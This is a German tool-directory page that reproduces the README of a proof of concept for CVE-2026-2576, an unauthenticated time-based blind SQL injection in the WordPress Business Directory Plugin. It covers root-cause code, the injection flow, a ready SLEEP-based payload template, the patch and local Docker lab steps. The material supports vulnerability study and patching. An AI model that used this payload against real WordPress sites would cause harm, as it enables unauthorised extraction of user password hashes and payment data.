Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/sowatkheang/cve_2026_2576_poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubsowatkheang/cve_2026_2576_poc

CVE_2026_2576_PoC

CVE-2026-2576 — Business Directory Plugin SQLi PoC (Lokale Einrichtung). Nicht authentifizierte zeitbasierte Blind-SQL-Injection im Business Directory Plugin für WordPress ≤ 6.4.21

Repository anzeigen
262vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-2576 — Business Directory Plugin SQLi PoC

Unauthentifizierte zeitbasierte Blind-SQL-Injection
Business Directory Plugin für WordPress ≤ 6.4.21


Inhaltsverzeichnis

  • Überblick über die Schwachstelle
  • Technische Analyse
  • Lab-Anforderungen
  • Lab-Einrichtung
  • Ausführen des PoC
  • Erwartete Ausgabe
  • Patch-Analyse
  • Referenzen
  • Haftungsausschluss

Überblick über die Schwachstelle

FeldDetail
CVECVE-2026-2576
PluginBusiness Directory Plugin – Easy Listing Directories für WordPress
Anbieterstrategy11team
BetroffenAlle Versionen ≤ 6.4.21
Gepatcht6.4.22
TypZeitbasierte Blind-SQL-Injection (CWE-89)
AuthentifizierungKeine — vollständig ohne Authentifizierung
CVSS7.5 (NVD) / 9.3 (Wordfence)
VektorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
ZuweiserWordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2
Offengelegt18. Februar 2026

Das Business Directory Plugin ist ein weit verbreitetes WordPress-Plugin zum Erstellen von Listing-Verzeichnissen mit Zahlungsunterstützung. Ein Fehler in seinem ORM-Query-Builder ermöglicht es einem nicht authentifizierten Angreifer, eine zeitbasierte Blind-SQL-Injection über den payment-Abfrageparameter durchzuführen, wodurch der Inhalt der Datenbank abgeleitet werden kann.


Technische Analyse

Grundursache

Die Schwachstelle befindet sich im ORM-Query-Builder:

Datei: includes/db/class-db-query-set.php — filter_args()

private function filter_args( $args ) {
    $filters = array();

    foreach ( $args as $f => $v ) {
        $op = '=';
        // ...

        if ( is_array( $v ) ) {
            // ❌ VERWUNDBAR — keine Bereinigung, direkte String-Verkettung
            $filters[] = "$f IN ('" . implode( "','", $v ) . "')";
        } else {
            // ✓ Sicher — verwendet $wpdb->prepare()
            $filters[] = $this->db->prepare( "$f $op %s", $v );
        }
    }

    return $filters;
}

Wenn $v ein Skalar ist, verwendet der Code korrekt $wpdb->prepare(). Wenn $v ein Array ist, fällt er in den unsicheren Zweig und verkettet die Werte direkt in den SQL-String ohne Escape.

Auslöser

Der Checkout-Controller (includes/controllers/pages/class-checkout.php) liest den payment-Anfrageparameter und übergibt ihn an das ORM:

// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
    $this->payment = WPBDP_Payment::objects()->get(
        array( 'payment_key' => $payment_id )  // $payment_id als Wert übergeben
    );
}

PHP konvertiert automatisch payment[]=value in der Abfragezeichenfolge in ein Array $_GET['payment'] = ['value']. Dadurch wird $v in filter_args() zu einem Array, das den unsicheren Zweig trifft.

Injektionsablauf

GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>

  PHP: $_REQUEST['payment'] = ['<payload>']   ← Array durch []-Notation
                    |
                    v
  class-checkout.php: fetch_payment()
                    |
                    v
  WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
                    |
                    v
  class-db-query-set.php: filter_args()
      => is_array($v) == TRUE → unsicherer Zweig
      => "$f IN ('" . implode("','", $v) . "')"
                    |
                    v
  MySQL: SELECT * FROM wp_wpbdp_payments
         WHERE payment_key IN ('<payload>')

Injektions-Payload

payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -

Generiertes SQL:

SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')

Das -- - kommentiert das abschließende ') aus. Das IF() erzeugt ein boolesches Orakel: Wenn die Bedingung TRUE ist, wird SLEEP(N) ausgelöst und die Antwort verzögert; bei FALSE erfolgt die Antwort sofort.

Hinweis: Das ORM führt die Abfrage zweimal pro Anfrage aus (einmal in get(), einmal in maybe_execute_query()), sodass ein SLEEP(1)-Payload eine beobachtbare Verzögerung von ~2 Sekunden erzeugt und SLEEP(2) ~4 Sekunden.

Auswirkungen

Ein nicht authentifizierter Angreifer kann Datenbankinhalte Zeichen für Zeichen durch zeitbasierte Antworten ableiten und extrahieren, einschließlich:

  • WordPress-Benutzertabelle (wp_users), Benutzernamen, E-Mail-Adressen, Passwort-Hashes
  • Plugin-Zahlungsdatensätze, Transaktionsdaten, Listing-Besitzerdetails
  • Jede andere Tabelle, auf die der DB-Benutzer zugreifen kann

Patch

Der Fix in Version 6.4.22 fügt dem Array-Zweig von filter_args() eine Bereinigung hinzu:

// VORHER (verwundbar)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";

// NACHHER (gepatcht)
$escaped   = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";

Lab-Anforderungen

  • Docker + Docker Compose (v2)
  • Python 3.9+
  • Kali Linux oder ein beliebiger Linux-Host
  • Internetzugang (zum Abrufen von Docker-Images und Herunterladen des Plugins)

Python-Abhängigkeiten installieren:

pip3 install requests colorama --break-system-packages

Lab-Einrichtung

Schritt 1: Lab-Verzeichnis klonen oder erstellen

cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini

Schritt 2: Den vollständigen Stack starten

cd cve-2026-2576-lab
docker compose up -d --build

Schritt 3: Installer ausführen und auf Abschluss warten

docker compose up setup

Warten, bis Folgendes angezeigt wird:

╔══════════════════════════════════════════════════════════╗
║           Lab-Einrichtung abgeschlossen!                 ║
╠══════════════════════════════════════════════════════════╣
║  WordPress:   http://localhost:8080                      ║
║  WP-Admin:    http://localhost:8080/wp-admin             ║
║  phpMyAdmin:  http://localhost:8082                      ║
╠══════════════════════════════════════════════════════════╣
║  admin / admin123                                        ║
║  victim / victimpass123                                  ║
╠══════════════════════════════════════════════════════════╣
║  Plugin: 6.4.21 (VERWUNDBAR)                             ║
║  BD-Seiten-ID: 4                                         ║
╚══════════════════════════════════════════════════════════╝

Schritt 4: Verwundbare Plugin-Version bestätigen

docker exec lab_wordpress bash -c \
  "grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
  | head -1"
# Erwartet: * Version: 6.4.21

Schritt 5: Den echten payment_key aus der Datenbank abrufen

docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key  | status  |
+----+--------------+---------+
|  1 | seed-pay-001 | pending |
+----+--------------+---------+

Schritt 6: phpMyAdmin starten (optional, zur DB-Inspektion)

Tool herunterladen